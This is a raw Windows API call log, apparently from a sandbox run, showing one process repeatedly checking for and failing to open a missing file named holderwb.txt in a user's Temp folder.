	[0099.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.268] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.268] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.269] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.269] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.269] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.269] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.270] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.270] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.270] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.271] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.271] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.271] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.271] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.271] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.272] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.272] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.272] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.272] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.272] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.272] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.273] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.273] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.273] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.273] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.273] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.273] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.273] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.274] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.274] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.274] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.274] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.275] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.275] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.275] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.275] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.276] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.276] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.276] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.276] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.276] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.277] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.277] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.277] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.277] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.277] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.277] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.319] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.319] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.319] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.319] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.319] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.319] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.320] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.320] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.320] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.320] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.321] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.321] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.322] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.322] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.322] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.322] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.322] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.322] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.323] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.323] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.323] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.323] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
